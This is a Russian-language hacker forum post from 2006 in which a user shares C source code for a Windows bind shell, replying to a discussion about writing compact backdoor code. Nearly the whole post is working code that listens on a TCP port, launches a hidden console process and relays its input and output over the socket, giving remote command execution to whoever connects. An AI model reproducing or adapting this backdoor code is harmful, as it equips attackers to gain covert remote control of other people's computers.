Показать сообщение отдельно

  #16  
Старый 13.06.2006, 01:58
Cr4sh
Познающий
Регистрация: 25.08.2005
Сообщений: 57
С нами: 10899686

Репутация: 76
По умолчанию

Цитата:
Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе замечания и предложения сыпем сюда)
имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи...

это мой:
Код:
SOCKET s;
int port = 31337;

DWORD WINAPI ToClient(LPVOID client_socket)
{
	char buf[1024];
	DWORD fexit;
	char s_str[255];

	s =((SOCKET *) client_socket)[0];

	//а здесь будет создаватся пайп, запускатся консоль, итд...
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	SECURITY_ATTRIBUTES sa;

	DWORD N, total;

	HANDLE cstdin, wstdin, rstdout, cstdout;
			
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(sa);
	sa.bInheritHandle = TRUE;

	if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
		return -1;
	if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
		return -1;

	GetStartupInfoA(&si);
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = FALSE;
	si.hStdOutput = cstdout;
	si.hStdError = cstdout;
	si.hStdInput = cstdin;

	getstr(s_str, 63);

	if (!CreateProcessA(0, s_str, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi))
		return -1;

	while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
	{
		GSleep(1);
		if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
		{
			for (int i = 0; i < (int)total; i += 1)
			{
				ReadFile(rstdout, buf, 1, &N, 0);
				send(s, buf, N, 0);
			}
		}

		if (!ioctlsocket(s, FIONREAD , &N) && N)
		{
			recv(s, buf, 1, 0);
			WriteFile(wstdin, buf, 1, &N, 0);
		}
	}
	TerminateProcess(pi.hProcess, 0);
	TerminateThread(pi.hThread, 0);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	DbgMsg(__FILE__, __LINE__, "SHELL: client disconnected\n");

	closesocket(s);

	return 0;
}

DWORD WINAPI bindshell_main(LPVOID param)
{
	struct sockaddr_in local;
	SOCKET s;
	
	local.sin_family = AF_INET; 
	local.sin_port = htons(shell_port);
	local.sin_addr.s_addr = 0;

	s = socket(AF_INET, SOCK_STREAM,0); 

	if (s == INVALID_SOCKET)
        return -1;

	if (bind(s, (struct sockaddr*)&local, sizeof(local)) == SOCKET_ERROR) 
        return -1;

	DbgMsg(__FILE__, __LINE__, "SHELL: binded at %d port\n", 
		shell_port);

	if (Glisten(s, 0x100))
    {
		closesocket(s);
		return -1;
    }

	DbgMsg(__FILE__, __LINE__, "SHELL: waiting for connections...\n");

	SOCKET client_socket;    
    sockaddr_in client_addr;  

	int client_addr_size=sizeof(client_addr);
	while((client_socket = (SOCKET)accept(s, (sockaddr *)&client_addr, &client_addr_size)))
    {
   		DWORD thID;

		DbgMsg(__FILE__, __LINE__, "SHELL: client connected, remote addr %s\n", 
			inet_ntoa(client_addr.sin_addr));

		CreateThread(NULL, NULL, ToClient, &client_socket, NULL, &thID);
    }

	closesocket(s);

	return 0;
}
 
Ответить с цитированием